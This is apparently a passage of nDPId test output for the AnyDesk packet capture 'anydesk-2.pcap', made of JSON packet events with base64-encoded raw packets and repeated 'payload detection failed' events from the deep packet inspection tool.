KwNWJxXU+dohFH1JRjIJxrkeiyDmsUxo+RmVWjFKYy1G9KB5zvWbfbVs1Zpi6vKRe6xClGhgW2d2YQzMfoVAN\/mz4l2UOYBUrm46dGvmylMvq62L8PqNud8nCgIfQfsRVhzR5ijRouGaGYb+ZvY5p5r\/PKXQzpGE84MyD54yzQVvt0BCTike7Ej7qaegznrIOpC0VtqHJBUvSW6KaDHWveeqyr6asQ05jDR2VqOOe8Z9okaEFR+DO7b4qiDjhfjkwd3Oonet9SFaiC0I2FBxuwaByCEEdF498gioltE0rHTkl9IquaTkROU78019QgJwdlW7RkEjhDif0R68QtLeG6BnAxVAPlg4HzzoqitF0COQQdKSnvWvkRxGj9jaZSLXiGEfoiTsTcW+pMIVrn6LVGu0guGvr1U6J9R\/MTHpB1t7mura3SJVPg3atZKxqt\/IVvoKFzSMmB9NNoVlqFBGBkPgMvYwok3qaqTOXcQ2Z9cw0\/TU0UKZfDJyaYnKtx4rHQF84L\/5KRromJz9TP\/aWLryyDp+enaH1oowczdiJJg6UAOy0ExutxzBZ575TA9sov3Nt1Zqbj5D615HOCVSOKhHCuWI+nVV64nN0NS75ehtOYfw2NMcnrwypeeUMhLnYRspCYg7Azve6ryyNFdyjQRWlpuofuKUxnXxy3Ca7J1TAaaNuvdmN51GJp+LGURCXY44NpLpAAqPt7iL9\/JiowEv8sd6g94oCLCeHZqzB57MpDojPO3HKOQ5XB0eyaqm8dTVxJCtPWZlmuNyl6b7NNrif7CROpBkQ6lnxxpZwkxMJTiI+IXYGE7zLSXZgaifnFZbXVRoE+ZvFM\/5SjqU+au3Z++ud6mDo8Ib+KYVeaOyd29U0LcHOmzj4JVL9UplyE9OGVZVjhcpEujvVofYIl+DRBSwpHQQM46dwdgEKwhaEtQEtc0aYtSfLpPMe9F3YpPZ89JwfNg+NGFD38iZRZA6bKJ34OLf6hBPWjHpSjKB7tSGeivv9EH1GeSIYu3QkqBAxZAnvMrbL28ZY0PNTWAhwUEMS96Mw4dpAUqXLbsr2otWBE0RcpE7+SS2VFRZTkRR6Neq7vY9dId+iCcdNc4VWE\/zlK4+dlW6mMB1HMvGwT4eHs\/U="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1952,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1543} +05302{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1955,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":189661,"pkt_caplen":3699,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3699,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgwRAAIAGAADAqAG7wKgBstOUG56PLdR9WcRF81AYIA6ExAAAFwMDDjhZ4hNO+msWwQg0atWunK2AWjjz7a7Jt2cW8hYoA9MUsKBhwiBrO4KknCchQoUYLIEFu3WaIuMQV5twPcXgzdNAVrkNb97U8aXbJE0UqZTIFiuxnb43PBc165wI7RMqAlbqOF6ateue+mSZ4Cwjm0t0z9Gy8Zs2vQU2t7mPfFgJBzIBI7DD4dXFizAOKiTEvxD8KGEPZaAn+r25eBaTfaWaRpvd5R2nKEgX5J6AlFpooomBKW0CmgOoPGh1BG4hK+2nnxIZFkB0\/0kqzvYWcwynhcrH0yYdfBZUwKjkvRVyx9XgRxntkRZ8TkTPdugoLPR7zdeXbwshPmLqd7zkw4Ajphe026cXGVwC5w+EmcqJ4zdMlml+wXIORUbIVkOQQdFECKGEN4JzgXBUU1Owfaf83tOPPBMOM+okIF82FbF19BnW8bb36e2L+LQ\/1UdsM3wSlK+mt+nPEUFJyrsdQ1g\/vxy6XsL+knptGJd\/m6UfmiWjee0oNFDgFrEDH\/+izr5JBK8pSG6OjtHZLYlygL1YFv7AoqwOMkE0P7z1jCITLeQz11awlGCqhYn51u8WeaIonZ3a6MPJiTike0FdeMYMGWa7yIt1rP97sYKwdGhG63LNcqXvXha7vzIBXI6GrYR6oVlTfY3yzHXUDw228O+grBahcdsVc87\/OwDV3Neu6+M43iacJlTMYqIcivIKpUd5s8JK8O+NkX7JeWxDjATaNXeiCy+RXUfFvQAZewTpUA55bs3u6Rbb5gPnWIgqkndbtM5AYNYoIkEdklRRaJEhhVP8lOSL9wmSL5mdrjp3B1QQ8OOjuc7yH1XnNYSImTjpzrpQnIu\/WQ5SJp5EhhgA5nrS7Wn+cYNtGRPcA0A+N6JNWJeoN\/wecmeBeCAb9IhoK8tr2EROSnlD4rfOsTZ0vQgGCHPxsVjW2wnamO9p0RCYyJnj0INWscIW9x+VkD7ph66FRclYjeeKFj6cm5BvYffnOPZ5wFL9nCi19tbk0lIEj3V+f8OVzs+FVdyoqG\/9ryFiQx5ITrIwzez5+6Jofkm\/mHl2bjcP6aYl35q8zxUvdxd\/aLX5Q1g5n8m9edjh4rc8QcHUjwoZF73MBuDcrus2rKTswawkbuSRUawuKtaI7lXWhcgE8a9hoqAXXoIrk0H1jJ4w\/sFPItKMMWSG1TCbYRpftwZE7TVf5DhcIg\/VJo9yW\/KIpgXy7U0CLRI9lv4mNqJZW9qilvZHzVLcG2n3AtbtaTdjScPWvwWwn6EMMCF2TXknf0Cl1onxSzxd9UQ7PBfCk1fwtdLaLcBk+HiMExie8iKSe79C8PMC0Qdzk8OuGViYMQvw30KsNsaswjKrw18O7NAo+nbNBTx2ubT1pmEldjbkDpgAve9u1BKyBU3Q0K7wwFAqLIaljNOULT0O0iWlT+qlL7qN7LURoh4KjFIGVVuMiqOKdUaz8Ckbr39JwkfD7yFz+3RH9eXHNWeLyHRa7xzTbCjToVErX0sSvC2apyq95C7PC9oUkMyx4DrOhq+UZTyo0n1\/flktlAVxzLloDTdPEzKZnRpfWmtZ0iGqb2YBc0UUvYpzj6bjXqSUFCF857lsXQv7ZJY8ffdlTBAS3A4DBIHpwVbjSRc3VYYzrHkkGmUjyimAZvEUf8WekOaNPjUXM7vfcHiqkYmfjArIwO\/JWhP\/IfRDu\/dXZt5mf2CvC3P23Kqa+ytWN4HxuWa+QcS9olU6631LXQAVLYiOA4liRnkH4UwgnC3ChV2PQH2wsqnPSdJcYcrcUlJ6DgdiEhWPyVaRabW2u2ordKc6qO4oHRsBAf07mv4wZh\/326VF8AfLyw7+dC6OxNPrmg9Tw46fnFJjLAESy3kETRQJLy1Jmo0zjxhfy43FdNb4qYxk66v56ui8h8YM9ToAhun1hJ\/Gvu+YQI1iLszDBTZCpR5aYYroyyAWCoVN+NProPsdTZdrg1pRagaMPl2cSD2\/jNyaPDKXRTae+q3FeaMwJe8HrtOpXn6Pg1i4zs83Q0zhdyjydbAAHdlDD7ve\/\/jwRwzzXTr4qCVDB6HenNWnJ38qx8QCBfShjE6b57a1NZTlRNqMiW81j+WO11C2sAJWtgGv3\/GWZZEBZYleAE8JHYGDr53yV\/t4WnXI3ElFRM963VQYckcNVzZqQOpGGNi9GFIoAYcQ6fCt0c\/mNAEa8RUYFeZjlDwKQ3cZolr9H9S7OzSl8J3UyDPkBQdaRQOy92ntMk+aZ7JEeC+J+3CFcu3aVop0vDb8xJyMsGK4j3K06yZ+moIZF9mtdD+72vmil5EYh8konf\/UFBFdH2FEpGhgKSUqNYjBaEhBdjEVtbVfQA6vtMJr\/U2Ju36hCaKF2Zt\/kVKgbBJviHXjH+nQGSr\/OubpJ\/CZSB9amoUW9MG7SVmIICNg7+3esk+NljOGvcwxUd\/uK1t8AR9qaS97wYfyCpOwsKdRc9ceCb+McSE9DyudTYisufhmqgdpEpFcf46GROH5o7NxP3tiUXaJVQMpOQRL6etJxxfPpiyXDszaO\/zVPvixkf3QDLIeJ37xJLR8Yu6QfKvkKDI7HCntL8l7k7kOtK6oilRyutVLjjrb7kXrXQjVtma3idb6N+KVLCi1UCffHssI7jJ3r2rPvw7THCE6QD6w2IN58JzGAKQCB6W8cI2FkGfrg1Gvo+zmqNzh+7F1AWHCHEyCmn6sSb5QRpv7XUeWmYnWNRi3IFb72d4sAmNcHXd2JWKygXZzLOUYNK9KbVWlgZjSS4UmnTg\/pJgwdyBGmCxQXON4qypOvIAZNBwZcpoe6KxlOeJsnWwDHYN52o5n+40M\/1\/0EkTRyTDEzpBdiIC+NpnO0LbTe3kDA9BwEZxq83HYGKfRc3wsPdGIJB7ygVI2dDczDLDbnUz+rRGqRNriAjll25FWow90xZ18J5NStpPLO17Qav7g1pkTBcBDJ7utArUUJ7fDIWE3eTaOJAUKisvaApI8Ax98QXv\/LDwVEbq+3VBRVcsDYea+27cjG\/u3OUn+CYs1ejKZpeGUjt\/ZreNoKWPl5dXks8FD\/5Pd6kg2BUcYVdjBWYvvgsKx9ahLvWGUz6kOY7qtZF8KxsmyCKKkRLOkwT6tpo32RALBxkiT+6UVzVJCki1NWr+Wve9tLBYMNSRv0snUJlWGU2\/HkU9rsjsiSz1b94nXZ7fRkM4ixFpqotxcg5DplFanC6E74\/pKEOBPbq\/w6kJqyTV7gjDYkbDjGJj04Gz60zoxELsbCWLxwQiEM6kDiubqp8e\/ISYetJo\/U6JlgcIPFrEukStRGpGtirP4jK71So+PSxZCTrWJ1lM1\/tbv8gxlzdk+qQvjUaOpbbC8zYhbHQxgSR2uGdNPu+CxzQYmfK8R5HP4M0VPPtyXBfyNJjrB4vqHJ+XQg0XYadGIVCSTq189qdIDUNm3WJEOsf+XOAu8pTCQ5fMBDIGrBkHdxE3cX22LV5BlkEaS6zrl+fK2PDjHAtjZ1FHBMgdplga99LQDtc+IYk53aTN2uaNmxaZQzvDzZq1SMdW\/NlHXHr1srci4rO4VRq+5TUfSJx+S3j5JNiWtiDLW1LOJ5Z3lXHSx8VW6P5LPYU\/Ev+xcvAQfkMQQwrDoFQMA9bUBPiYP+CKvurlFsJUQequq9tELlH7UgdeDxgEFrAN1xpHDBcqoMuMdNX1uOHHTJMU8PPggBOtr5QbjBEszzED1RdPWXBJDXAUM99lnZT8F+DOfKHcxt3faZgUYCbLyXAckw+Oyf4+md4zqnAvr6ErbJAo0ZGCNRMe0hdM\/lTbxNCYTvzl0KPrwxfs+7KzUw4rRRUCDu9xKrayiOsSj6A0y0YbQiwU+Qv4rpVCZiaWhe6IDcEDou7Bxl3Y0qX4EA5C4\/88uBPtLaCIJK5l6t2Y5OZvA9EYCoyBY+VbMpQiLzHpyZh6Ix+oePyCMNSM+swfmx4MMvQCH18\/K4qXC5KGm0\/5rkNQNxeSqCeKvR5YJQ2Q8FWzS4CLdEaxslN0tpA6\/n9G9FWUolOUqcgfD+JhSpexxq2RqlxRpnvokSGMYv1Mns0BaeBOc4RT6rE9jpOXI+Oi6YBJRdmE20gtfXS1mUCIZeVjCOLEZvc2f5yQyNVw1+flBbw61V0yxGBmE56RkK3\/Sx1Giku8fQlWjNod7iIdVhtV59CgbqjnpBdJjOOklPvy0\/z137AgOKEqqflR6SHTDd9eSIZTIo9zCcHGAQhQJZg8jLeSTD6Jj+JuOZghTvCmEHDA\/dSr938LufFuDrIUfv87sDpNfyCzh2Lr3+ubae1SzpDZnXb1PGKUSSPUGpiDALIlsA9tJnzEXpjviZvgJ3m1e+ml+Mubjd7pUnMjN766aOJBRlTUELtmun2I8XyUB0Ku+2w9jexTd992JsBD6Zuc0PahKpR8SORlV2ugJSpj9uuB4iN\/H9KsFf1beKNZPKsuEGK25le5WxHWFjEcaM6YXEbeS52Ep0eh4YGbZ\/VWnk8xlbeYztAgSLt7Qmf1DyEpE7pDG5ZJSE4jYr37QPGum1mC3LoxXnuYx9j6LrFfQSDBCbxOr4Kg7vGW+GN9Snw5L9JSRK2x\/ZDBRBWUIz98hd9Ov1I6eGUfAq\/MJC\/DdvnGqMIK0LixZCerPgZ5e02xCh5PjZds8GlEmLIM3FVGTlb+QeUzJ4GL9+D7QyqLE6G46jHgoepNRlkFDH+tjLPkLVkoCQ8GRCjY+Jw8DndeevZp66RfEMO9Om9CdqEuUdl1R5FV2laAev3fqFOdgz7d+7V2g6Q\/CPbb6b0\/SfhAcmy+kLVk1VpTsw52\/IZUyJJklQ+p9TjWZvmP\/cMUeo7Fz6U7jPEPGEKnamTPirjeS8e8Y5E5g"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1955,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3665} +04300{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1974,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":698736,"pkt_caplen":2949,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2949,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgxRAAIAGAADAqAG7wKgBstOUG56PLesUWcRHEVAYIBOExAAAFwMDC0pZ4hNO+msWxWPiq1Guu92uW6iDjJDxMwk9HDHK3bDiYTBWsCbfm59oqCCzaPrvJhT+A4ffGT2MIDMNeBtiS0BiIkrEXrT+67xO8UgI4fvChMaEhyMeV27OS4647D\/Awkeq+6XkcMWlKHtosIeVEv785ccjInUwgj97YWAyUOho0bmkY8Om9DLxOUDCVSNPw1Egf6tK61Ffluvi5BrMIhYHRH\/J43f06l33e\/kfqlT8\/hvuR6JyXvCUeMxCZeiCdQxMxeyKSl5+NS1NCHYWElY1iZgy6Q3q\/D7H+akYKXtBSgXgm6gLw6ndiVWFKuFYO0kBBAzpZc8s+epEyiGlO+50bK10qwH2hIbkxALHRfJMhvUvddM4obzpsSXjw6AoNtQolCW2xcxD7pftI1qO5pGwtY3qrKLiTkZknsWPWIXC5CjPfZ4I2eBMFXzwTC7Cn8\/gvgZgtjT1cQY9a53gSvWomttxrs3pqqiqSWD8sHXReIQzVkdbT0rWyFrMdpBXz+ESuvsLGgm+yLoQ9PA08CFNockBuAB3v1nEfDwFR3O\/wWNk0uQS09t1d3sAglBbFt1otaRNrw0GoIcKjmUVPYXG3KaWSINFmQoAMelL1bLWe0KRn+yLF63Xl\/TzuHnKdO7Kgwf0rwMTSfuDHnz3JS6bjqjL6DlVIkaQcnEPU7ZlxE0AMkBrX+WXrE1MsawAauYoAD1lfiYVio4YOFh85P7fM0mMGYDvoRf4sfYbIVDOSrAbzZtENr5YLnPi4BvJRjtpt8bjgTpJsSj5jDeOe3\/YiaPEZGH0kVm88ml4cDMsIgDXxaFVnlZMBZGv\/GzjF6ldxTq0AfD9jfM1ZnWtDniTC5nkJCozUoXIwpkhZZwdTUmRav7T7QZvpbEXj76dwVhxdg0I4Zqk2lLjAVPvKHE1g8OgeKzIn6thV9X0WcAzQDA1KV0TyCD7+Rw0I8yVCy38kdaTN6cn9nSz7vFQBI7zMKpdvGzSAngBNmLDsjNxMnDFKlNNLXo\/Tnec+zZrtQGIMbX0ZDy7YYlDt3G7l+U6SRUSehqD6WU9l+xPED8wxWzassk0L+FW07udLz+N9IzOiy3nFKnp0k0cZnkOVI57Ckm\/9VQWMkRyPVI4Pib+GkG1kTkEsD2UMouHvAWI4Oo9Z3TteNCMMsbqEmhOekh5gSGafIpYlqShTTKYbqq7SoPsN20arixbBgqwKz28ARrs5SNQRgLOjmYiTqATYZYxJfSquXcoVP3NEql2o+2oWWwlGOCSa9p32m5VPrw8qn6cyhcAmReiyE7cIh3nFTCO5lrQej3tb\/URBy9SEiTd4rDFP603RznU6TsgZdQq10QpDFhTHtchUfh6C1mQlBJtVEmKEQN\/5C+We7hp7MYLX3a0g\/1TAiyzEysLQv0hjQI6zpC\/gdFAm4VnuIifVsieP\/Chs\/tZTPdyPkEAr+hhNJohgWu\/d6G8w+AJjfc5dDg6\/yP\/D8ERdbLyTA2lTcn\/nchsTNSOOixo4SDNJu6OQG4q8u9dyOdzqvyQO\/vBz1v9mGILKWwzrtHnhJf2U2mLMN1LqATnaEn0gMmTbKZBeUBwG\/iNvU9eDNaJhdeQl\/XN5iWk4G3+7OP9+E\/JHzVQoIhq9SC9TQsycd98uiW81bl2WxIiKKjedtd1a1tp7JR5O2TIg1DYvz7QLTFxoqMgJ4CLKVxKuj\/acE65aik\/w5K\/Onxbxy7PsGjsphI26jnqbn8UK6Zkn0RNPzuzPaBiFQrEDBzsABq3DU3C6xB1PWNpVGYExruhfEPDnnEQuFPFtjvh1oWZ+fFOF\/nAvEHxf+GZDIUGct3THHnFyP3\/91up0sIprZ6VLLVF+mMNBkRXpSnDz01rBUZ8qXn9jWoXIb74dCrEKaUDZtBylSMHZIqNkLRhh8giksai8TWLN2W31CpFsrQ+AC11n0ZkYrbIDtUtUMTGnInEDlpgZJSrI3QC+SiLecd4fbuizT7qbaJl5N25tGcOu3B2gwZ6PotbrUF1Od9sDdBtrZpsV8n5+2Lb2sR3uQXa6Nk98FgFIy0DEmwQi+\/L\/ZLmlZI44qbiJYggRKgLuClrmdQxEDxS67xL+zj0ti24QRU+Pl1OJsThyxbr6qI1Fvi5EfugHEtoaBCpMqF+XmSsskna2vx+iK8TFrSxBnrQ90gAFfixm1qsfwpRkKZEPdVWkmiqayMwOijJC3nDnqMufs1dmJD2ndA1u2LihvURVuHepyQUcFiaay5FF3NFS0RodM+kji7erd+1tOgOR4CYl1f+\/FJDmguoVe1MJylWxaMKJTmE2QW9+bcIbNUgm9mdgULmqb3WECs7OUuRmKa5DUmlj+ajXDi\/b8yBH5xfopnU3dJDplPUHPnHP+tksfqnqu1Hz0T9tYu\/365m7trNfIi5zDtwavclJ0ByD9koDJ3Vn\/vwTJ3\/zLIusMn5DVpAeCTf7wb4ofdADj3bbqimBvPzzkGt0A+3KKxNCtKMygLVwwBhZZTU8DZz6ynHOBaGjM\/A6hAIYZoySJYPvAX6GMJWhi0SuNIlHv2Tu4\/wyY8oB0\/gOlGjIGa5kLUPsfGwFNiXQ5E3K6039zZS6efh8hfLlSg1WmbudQHlY06ZkNOd+oyvkQVXjisYb1OB2DIMc1LQ1+exrp7iL5O4WFq4DPIJ7g3p1wMVgA1vYRey6Dgpjiqexo7vQzKdmozfpmb\/fKgCl\/IfFLFL\/DUxWQye5juo95+C2an0MmwywU9LazaiF+r45hAZ0KjmVHUsJlSNjXaXbPki+LI2fDVwR9w844UnpAFzFrxVHSmIG0pGQ1rIUMgaSrv\/cK1tyTHnwDDvmTo54LRDf7XblaCb+P5zp6Ts7ucyENxYnNWImqhxmetLkvfrrk1bv1c1D4kivDMBIhrueICvVaju8OiRAoW4BhiOy97JCdFaZroRvAq9ueL317wWgkb\/UZZ4icutsilL0EtKSS7uag08xUZFT\/R42k6OmdEDqEKzcNANWobR5iuOfq+kh3QKj3acCayJ+CU7OnkoeDkcaqkexDoSf8ejWOOWZ\/9pquvLpDE\/rN+RJv7ULiXPzRhtNgtV0ArMlHMhAQo4Jh0OiDXP+SpYh34jopXPQurEFUzQz7ubZDJK5x3vT3xm\/NwaF\/bSyPIsIdSBIVN1t+Q2ul\/8oMxLrEhB0\/xqrKQO36zJAjVwuKF8oKkvyyQMtIDqSC127EmMx4uSjwIPBT9SJHXeXpTpTDySD\/97yB0UN1ckao0auWKp+TSMQ1DcdOUTtYgjAdKHPIwuTZXZU69Ue1h0NMtBDV63YWrrUvwljvVfOR1M77X4+852l5IfuY7+wz6rXwqCp5oXKb5+1sF4I4Z\/1lc6bP3QiE4h7gUsKcqqxutpB90MYVwLG1DZs8fcFHqBNEMHcMaHuxM1BVtWRb+YssYXSPtXZmmyrrF9PklUe1FSbXJNVoO8MxjivCK9qozWl8IhhB1rYYB+pjXWR4G6mSiEU7FSLhFu71bKTFQW2IriUipyKFWIfr96bCoRMBQlKfTNWmFiepReIHofrSHOZr2BMJ86OzWiNh1qOm\/WCEMtIgwuMSYvHsxy88uckiGRvG4m\/PoStC10mzdYY0kCB7hLKmwaTqq4bgECPuxsTJIIAG6og0PL3wkGHNVTk\/T8Wghvh+jYhSiVlo5SXEnXpWuzTMzCvy5w3eI1VziZ6ecfANPrp1groUPMDEIRfw50WaMRkTc0WXVx3fxjcZXGMl98x\/A59KAinkuQ1V\/xhFyqtfOQV\/ut6yzxCfWNShCnRTisKGQxZ3u9FvGDXVyPLP1VrS\/5oJsnmCD1Y6FEgSwq7pIW085qB\/vKqwhDgbsBTbifxGYR"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1974,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2915} +04566{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1976,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":698827,"pkt_caplen":3145,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3145,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgxZAAIAGAADAqAG7wKgBstOUG56PLfZjWcRHEVAYIBOExAAAFwMDDA5Z4hNO+msWxgKW8ltV4PlEOusmv1+oRXS8AdkiIgse1Fb1fWGfsJeKibYmLqLNQSW3BIQCx7\/Uo0QRn4ZheRnrLIu8GbkZI0Xiw+IWsoR+PaKMEW35b4DI06VmTGjI1Wj0ysed1DVXiHelT4owA1Snnngc3nwgr0qwHvbUonnrrHI6QLsTYIHD2k93arbJxyqUgBNAATNC4NYmnAbjhVemsu4KdT\/9x2RUM\/2452sKO38rKpkAbew73JevG9jBL0HdbHIh9mPORxXCp+EihzQoJZyuz57+eS45jewd4RvqTsHYIs2Exvr6v9Bvror3tCLhPhUO9XB3n3+2t4PmFadmSqY2hB2ZPcHzHXigkNuc7XiHfY9G5eAKrNrySF60UjVacjLqOksT9dvJuE\/JdjuqaGK6ISBecrCmAMaP9uPiySiAlC54OJj1gbwWXMPNcETBwrv3wW2MDeVH2LtxghuzM1cOpZN5t3xsngicEJ3KUkRlHOfhSiTI6CobR1RkmRwXf7T5vBj20vOxhPnPysWCbwqeTYSQHnuy++m1R8jXBpAdeFY76N8y05fsBG8BORWTRLj\/z1944D54VscFD9ffV6EhFFIVUriYBCQip0vt0wqsPaq2X0BZzQpPNk7QOtUV8kLocZj0CY2q3M9Uci0Y\/TH5ei6pQxcOlVPc0nChQemk\/jN8LzYPY8EPiGFTVt15KHdmYKs2MQaN2kdgyDYCWz0gsUCI+skUEMgditnpNBjLbclKC9clGk5cYanS2DFhDMgGAAsgZddoj54w87gZJCcQhElBQH\/mTCf4hSgpBLR\/\/jOx4TZeGZ+jVqk\/WTuILtnw9l3sznvu06NXkcOA7agvDiiAUEW+TKe+kop4Ow4vW\/I9K1+DJ2TTtDzc2u8o8P9tc4QDzE13bHVqK+dS5M7Ysc8dUH7IQgM6lf+ybwZLN6QrMPLFSSL3bty+\/VtdmpakLayl3wMZbRv05pfeMXWDtKhgV+SkeKk+xKJZXay9UERHREool3b\/8z2xAhQEZa2RH2ku1upZ7CNi4\/G54GahrZdENxNQbwyU+cfAmME7vZctjciKhJv\/xKdOxvxU2oOv1FGUYo3ZFy5AxhPFV1L3TWP7GrzNWhV+\/xFYkfARG7YVqh67\/QGe62VxytrXb69K\/uCaSaWBTolVog1lvu08hvUqvpbSXGy8S60SVa\/UXv7UniGLICTTSB72syfhtZCoA\/T4\/rogfpyxD544l2oKFGO0n0Hy4JkQmmE7JApVNcPvucPixvq\/NjzspK+m+d644H418Gb6cQMAt01M21WOtuwvyt3nhRg7ipgHttZA3zb91BumGoyLO6XP7ZJjsfWdjvjdCyc0lNb38BrapaznjcihuuR94MOljgFdh31TXn41FjIwHXdcA1DoDiMHrITgLQj9t5npj9t8dddedAoF5otyt3HjqCSjT136yHPuv++Kqha8cTQrcMTllBqq54+\/UqiGFDsH5RGz07o4k3MGe4XpszlSKM7atZB72QnoarSsJ0wsn4irAVd\/zadRodSr6TNnhPfEXeqYIGdNgOqKK1tMaKt5f7ztFsLHAnYre+BbjY0QuvRqgIEVvavERwb5PvFUmz1IKp1zzybXvLehcE2QviJ5Jn5Fp+M2ZqK783\/srbekKwLKYaaZaxjeUInqHZWXOT+gdQBHa7qjD4194mZFUV+D5O18G4HSLB7HZMwnZ4ZLmNiYF4vzre3WppObt+Oljy08Kh3t7DtR+H\/puQdVpf8SUEJ8rJOYanyXsDSjsULbxP98+mWnD+8mRR84Xe7bOYbO4VAdEFrwBQPaaVMhks1zubtrBxVFmUpCroPq0HCbK8ur1T3+uhpjLGnM\/Xh2EzrVv6jMwUi9VaBSjez1ADkPjp4hwXDw9HwiKmQhpBV4jCL3SKbJ9b1Pm71bi4KEhaSgycHS6pt5BlY+TUjb3yhbXGSmfKcLxYF\/BkBeJ7zF\/tS11+R0HBV8xQZEDAvk9KIamMVkyvPrgfZ1i3U7W8vMYQJMI\/VJdFUf+ZugFaOmKy3mNHlcfKWq2mYmcIIGUJnfzwWrbO1BGnH9Lzl0QElFqOxTm63oNG2bBwwWErKKnBXs9nIt+pYtnuZNrkLHDO8ZoEupuLK3cb5Ig9qWoOq8nBb1Ev9MQOBaMXQ6B9CsCRICi2j8y9DFxchFSmhUX7uOfQ0bx8xIp4krJCtYugOx5sYdc20yiHlZTgDW3V0FYOK22QsUkXZ\/Iwd1sa821LEJfnAguEWxkbX5EWHmodSTxQ3M88CKH89KVbupKPsK0jT9NE5WvNNx7d+wNpYQaa9JtHX+fIU\/aoi0YGx1GonrWGTYK7j6nvM5W7suhFVNS3uAKu59xYw5A+HGo53z6K0Bah5z2Z0QBGK3xI70VuaD5KiDh\/0PRffXQnLNiEFNVq9kz3hbBPqziivvFfXVu98OXQq7nfv2JsvQSj3xgIE5M7LKdln9kPxjKbpgwXG8DojEtC2n8c57RfswwFhtQqoFguALyxGdJddAgiT+vMh0\/8HXa3ZxeZ+ssPrwnSQvz2p96bLMwM7ep2bIBi\/N36rfTbcp2s5rs6bZ8609kYwH46ai3pdjG4ODaWkFKA\/BKFybVM4JBVUg1cW3vRZ9\/anqn9uFSmmTDofmXN8YLdIC2aBrXyCezxnhKhKFMrLM853Y9HkpDGSRE041V4iqpQNSr8evKNT3x9bih6FW11caC\/3jzzkFEP7TzMjt2iCTRWi9e8S1J1cgDO3qBD3GYMXtTWYoyZVrO7ewBcm4MAPrAc8gcUROhO0k+fiweHwSy2H7X8jlpphloLS2dx4NygsSl\/z1dyO0RKwFFUWeaH1djg+buaZHydH1k5Xbn3zh4AP3LtIC79xAdsb4TwdR6ixoqSzTAgNUG\/mPRsnucs6UF1LyOrpfoMIVU+4OCLF42fGJo0LyJthfsyILoaRuHxyEdGJhJGxd2d\/UgZVvbuYyoF9m3DdWynA7KTe\/YUDbWn3CT5\/ZCEL7zio4NdtXBecNHpmDaUTbCiPRCeGGdUKcqD7WstobgNk24jrPlGa4CRBaYluGNKSWBeXUQi4tBrswNsxWAieH\/M1qLXD6YtHF5F\/uIhgM74eRysR8y55foSK2MdAXPbC0mWRs4F5qNLY2jGEhAu5Jb68xUVU43+W8eUGzMEG63SP6kkYcbA2D4nIZhC2G4Yy23\/Umn1H0PRJ34deywzGNkp+0UWMfOrjN5nmvIuyykGK\/ygSYHaEHxsyTruO+UVP\/dlE7V7RmrGyWE4i1fTjdD+1vl1W4tTTYzmMj3swFwX4LO2DEBt1+tlMFIdzuK7+TIE\/ialTj\/CUARvNns1wlSGjj9bEDXkcojpLneC45Sm75ZtjT0+EYGQQshujYmsWkQsIkejjMsm63TY4ujiTBOdV4iZ6YFnGa3nUbPAsQD5CfY6CwzJo\/sQzAS9AQGQNbiyLSGTzxCxeUTsHwBlglHabZk94eDtWP1gsAQYp8Fe\/jSN4Nhn9TO0KsZcDy13xUJxnX2LksSDbdkRKCzKTmithp8CjDw8jXCtHAx3OVnZsrMsmlfCp5LZWgew660S35gXI26Z7b73TNzTVkZDyLSr9wLFIWSJoOQKQB41uTd9coMxHRbxZA5OyPMaV5Da6TSpenSuoJIF5\/riN9TAdhkI\/nfXIbgFRsRJViqG33KJoAloXfJR\/1G72VWVp6ip\/jcctHZeJnqx3nQu7\/0nH9fkuinlN0LmWpP4\/MF4KnZAoClLNA6f5Ja0zt\/\/1uTiCw1XI4Qvlb0qWLP+xOjEPEMDqp6rS+orXMaljbGGrVsZJkNQYDdrCL8Y7sw4TYUJcuNmZSXyZ7tqWI5t\/JkebZl8s7\/0AFtRoen6glPqa5VZ1DSRJHxtASoxYTYWE6JHRQCL3Hz4NtEqWT2DV2zlJSStuj+ViwBWCVuGdAKrwxQ6L9UU34hp49ledEzTjjG3Rrsp1qslYIMf1OMLlXRpJw5\/pYwcmpTWG39zmLS88ie9SviIFPe+6dvbhZgKwSZpdhBEBF6s5e4i0aMa6dVzJrNSOzcIfalVZB7yKYF6celn0+xdfGqt40fRPnTnLuFdENiqN\/pKz+Og1Qmww+Iw=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1976,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3111} +07816{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1982,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":741328,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgzJAAIAGAADAqAG7wKgBstOUG56PLgJ2WcRHEVAYIBOExAAAFwMDFXlZ4hNO+msWx3CyR9F8CqvzVmQAEWr3qA+azEGiyLrvxYOoobFuQbKA1ZmEiNpzLJIkuFcJovgAX3QWwA8A657PJyXy28hpGSY+qatCwti4bB3P0Dr1DwR0lNsCfv6+IX1U3jVeVhV2IPsa\